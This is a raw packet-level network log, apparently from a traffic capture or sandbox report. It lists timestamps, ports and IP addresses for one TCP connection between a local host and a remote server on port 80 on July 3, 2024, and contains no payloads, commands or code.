Jul 3, 2024 23:59:25.680859089 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.680870056 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.680892944 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.680907011 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.680927992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.680931091 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.680959940 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.680968046 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.680993080 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.681004047 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.681026936 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.681032896 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.681061029 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.681068897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.681099892 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.722642899 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.722678900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.722729921 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.722762108 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.722794056 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.722829103 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.722843885 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.722868919 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.722877026 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.722894907 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.722908974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.722920895 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.722953081 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.722959995 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.722994089 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.723006010 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.723036051 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.723042965 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.723090887 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.723093033 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.723145008 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.723145962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.723176956 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.723191023 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.723211050 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.723215103 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.723248005 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.745322943 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.745510101 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.745577097 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.745624065 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.745646954 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.745677948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.745704889 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.745711088 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.745726109 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.745743036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.745757103 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.745779991 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.745793104 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.745825052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.745837927 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.745857954 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.745867968 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.745889902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.745901108 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.745923996 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.745934963 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.745956898 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.745970011 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.745990992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.746004105 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.746026039 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.746042013 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.746073961 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.773202896 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.773260117 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.773266077 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.773289919 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.773305893 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.773334026 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.773340940 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.773374081 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.773385048 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.773418903 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.773425102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.773458004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.773472071 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.773490906 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.773502111 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.773524046 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.773534060 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.773566961 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.773575068 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.773603916 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.773613930 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.773636103 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.773647070 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.773680925 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.773686886 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.773719072 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.773731947 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.773761988 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.773768902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.773801088 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.773811102 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.773844004 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.773849010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.773880959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.773891926 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.773924112 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.773951054 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.773983002 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.773994923 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.774015903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.774025917 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.774049044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.774060965 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.774091959 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.774100065 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.774127960 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.774138927 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.774159908 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.774168968 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.774193048 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.774199009 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.774224043 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.774235964 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.774266958 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.774274111 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.774306059 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.774317980 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.774338007 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.774344921 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.774380922 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.774385929 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.774420023 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.774425030 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.774451017 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.774465084 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.774485111 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.774492025 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.774518013 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.774528980 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.774560928 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.774569988 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.774602890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.774610996 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.774636030 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.774643898 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.774667978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.774684906 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.774712086 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.774724007 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.774751902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.774771929 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.774782896 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.774791956 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.774816990 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.774826050 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.774848938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.774857998 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.774880886 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.774885893 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.774915934 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.774924040 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.774960995 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.774966002 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.774997950 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.775003910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.775031090 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.775038004 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.775060892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.775072098 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.775093079 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.775104046 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.775125980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.775136948 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.775175095 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.775178909 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.775209904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.775228024 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.775243044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.775257111 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.775283098 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.775290012 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.775326014 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.775342941 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.775360107 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.775372982 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.775392056 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.775403023 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.775424957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.775438070 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.775458097 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.775468111 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.775490999 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.775501966 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.775527954 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.775535107 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.775573015 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.775630951 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.775662899 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.775685072 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.775695086 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.775707006 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.775727987 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.775738955 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.775760889 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.775775909 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.775794029 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.775813103 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.775826931 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.775837898 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.775860071 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.775870085 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.775906086 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.775918961 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.775943041 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.775953054 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.775976896 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.775985956 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.776010036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.776021957 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.776041985 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.776057005 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.776087999 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.776108027 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.776135921 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.776154041 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.776169062 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.776186943 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.776201963 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.776211977 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.776233912 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.776245117 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.776268005 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.776277065 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.776300907 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.776314974 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.776355982 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.776384115 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.776416063 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.776434898 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.776448965 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.776453018 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.776499987 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.776508093 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.776549101 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.776550055 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.776582956 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.776602030 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.776616096 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.776628971 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.776648998 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.776660919 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.776681900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.776694059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.776725054 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.818108082 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.818164110 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.818197012 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.818248034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.818280935 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.818280935 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.818314075 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.818322897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.818348885 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.818350077 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.818368912 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.818394899 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.818418980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.818447113 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.818458080 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.818480015 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.818490982 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.818514109 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.818522930 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.818551064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.818556070 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.818599939 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.818602085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.818634033 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.818653107 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.818669081 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.818679094 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.818717957 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.840814114 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.840881109 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.841075897 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.841125011 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.841145992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.841178894 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.841192961 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.841212034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.841223955 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.841253042 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.841262102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.841295004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.841309071 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.841327906 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.841339111 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.841357946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.841372013 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.841407061 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.841413975 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.841439962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.841453075 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.841473103 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.841484070 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.841506004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.841519117 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.841538906 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.841542006 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.841573000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.841583967 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.841613054 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.868556023 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.868611097 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.868639946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.868690968 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.868735075 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.868740082 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.868777990 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.868792057 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.868803978 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.868824959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.868834019 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.868861914 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.868870974 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.868891001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.868907928 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.868922949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.868936062 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.868969917 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.868974924 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.869007111 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.869029045 CEST	49744	80	192.168.2.4	77.91.77.81
